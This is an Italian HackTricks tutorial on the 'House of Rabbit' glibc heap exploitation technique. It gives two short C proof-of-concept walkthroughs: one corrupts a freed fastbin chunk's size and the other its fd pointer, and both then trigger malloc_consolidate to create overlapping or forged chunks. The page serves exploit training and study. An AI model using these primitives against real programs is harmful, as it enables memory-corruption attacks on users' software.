# House of Rabbit

{{#include ../../banners/hacktricks-training.md}}

### Requisiti

1. **Capacità di modificare il puntatore fd del fast bin o la dimensione**: Questo significa che puoi cambiare il puntatore forward di un chunk nel fastbin o la sua dimensione.
2. **Capacità di attivare `malloc_consolidate`**: Questo può essere fatto allocando un grande chunk o unendo il chunk superiore, il che costringe l'heap a consolidare i chunk.

### Obiettivi

1. **Creare chunk sovrapposti**: Avere un chunk che si sovrappone a un altro, consentendo ulteriori manipolazioni dell'heap.
2. **Falsificare chunk falsi**: Ingannare l'allocatore facendogli trattare un chunk falso come un chunk legittimo durante le operazioni sull'heap.

## Passi dell'attacco

### POC 1: Modificare la dimensione di un chunk del fast bin

**Obiettivo**: Creare un chunk sovrapposto manipolando la dimensione di un chunk del fastbin.

- **Passo 1: Allocare Chunk**
```cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
```
Allochiamo due chunk di 0x40 byte ciascuno. Questi chunk saranno posizionati nella lista fast bin una volta liberati.

- **Passo 2: Liberare i Chunk**
```cpp
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
```
Liberiamo entrambi i chunk, aggiungendoli alla lista fastbin.

- **Passo 3: Modifica della dimensione del chunk**
```cpp
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
Modifichiamo i metadati delle dimensioni di `chunk1` a 0xa1. Questo è un passaggio cruciale per ingannare l'allocatore durante la consolidazione.

- **Passaggio 4: Attivare `malloc_consolidate`**
```cpp
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation
```
Allocare un grande blocco attiva la funzione `malloc_consolidate`, unendo piccoli blocchi nel fast bin. La dimensione manipolata di `chunk1` provoca una sovrapposizione con `chunk2`.

Dopo la consolidazione, `chunk1` sovrappone `chunk2`, consentendo ulteriori sfruttamenti.

### POC 2: Modificare il puntatore `fd`

**Obiettivo**: Creare un blocco falso manipolando il puntatore `fd` del fast bin.

- **Passo 1: Allocare Blocchi**
```cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
**Spiegazione**: Allochiamo due chunk, uno più piccolo e uno più grande, per impostare l'heap per il chunk falso.

- **Passo 2: Crea chunk falso**
```cpp
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
Scriviamo metadati falsi del chunk in `chunk2` per simulare chunk più piccoli.

- **Passo 3: Libera `chunk1`**
```cpp
free(chunk1);  // Frees the chunk at 0x602000
```
**Spiegazione**: Liberiamo `chunk1`, aggiungendolo alla lista fastbin.

- **Passo 4: Modifica `fd` di `chunk1`**
```cpp
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**Spiegazione**: Cambiamo il puntatore forward (`fd`) di `chunk1` per puntare al nostro chunk falso all'interno di `chunk2`.

- **Passo 5: Attivare `malloc_consolidate`**
```cpp
malloc(5000);  // Allocate a large chunk to trigger heap consolidation
```
Allocare un grande blocco attiva di nuovo `malloc_consolidate`, che elabora il chunk falso.

Il chunk falso diventa parte della lista fastbin, rendendolo un chunk legittimo per ulteriori sfruttamenti.

### Riepilogo

La tecnica **House of Rabbit** implica la modifica della dimensione di un chunk fast bin per creare chunk sovrapposti o la manipolazione del puntatore `fd` per creare chunk falsi. Questo consente agli attaccanti di forgiare chunk legittimi nell'heap, abilitando varie forme di sfruttamento. Comprendere e praticare questi passaggi migliorerà le tue abilità di sfruttamento dell'heap.

{{#include ../../banners/hacktricks-training.md}}